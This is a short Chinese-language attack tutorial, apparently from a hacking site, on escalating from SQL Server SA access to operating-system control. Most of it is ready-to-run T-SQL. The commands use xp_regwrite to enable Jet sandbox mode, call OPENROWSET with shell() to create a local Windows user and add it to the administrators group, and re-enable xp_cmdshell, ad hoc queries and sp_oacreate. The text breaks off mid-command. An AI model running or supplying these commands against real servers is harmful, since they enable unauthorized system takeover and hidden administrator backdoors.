|
SQL Server SA权限最新入侵方法
使用jet沙盘模式,可以解决XP_cmdshell等存储过程和相关动态链接库带来的烦恼。出于安全原因,系统默认情况下沙盘模式未开启,这就需要xp_regwrite开启沙盘模式:
| Exec master.dbo.xp_regwrite ''HKEY_LOCAL_MACHINE'',''SOFTWARE\Microsoft\Jet\4.0 \Engines'',''SandBoxMode'',''REG_DWORD'',1 |
然后执行沙盘命令,在系统添加一个用户名为test,密码为1234的用户:
| select * from openrowset(''microsoft.jet.oledb.4.0'','';database=c:\windows \system32\ias\ias.mdb'',''select shell("cmd.exe /c net user test 1234 /add")'') select * from openrowset(''microsoft.jet.oledb.4.0'','';database=c:\windows \system32\ias\ias.mdb'',''select shell("cmd.exe /c net localgroup administrators test /add")'') |
不同的操作系统,路径也不一样,需要根据情况做修改:
NT/2K: c:\winnt\system32\
XP/2003: c:\windows\system32\
另外Microsoft SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开:
开启XP_cmdshell:
| EXEC sp_configure ''show advanced options'', 1;RECONFIGURE;EXEC sp_configure ''xp_cmdshell'', 1;RECONFIGURE; |
开启''OPENROWSET'':
| exec sp_configure ''show advanced options'', 1;RECONFIGURE;exec sp_configure ''Ad Hoc Distributed Queries'',1;RECONFIGURE; |
开启''sp_oacreate'':
| exec sp_configure ''show advanced options'', 1;RECONFIGURE;exec sp |
|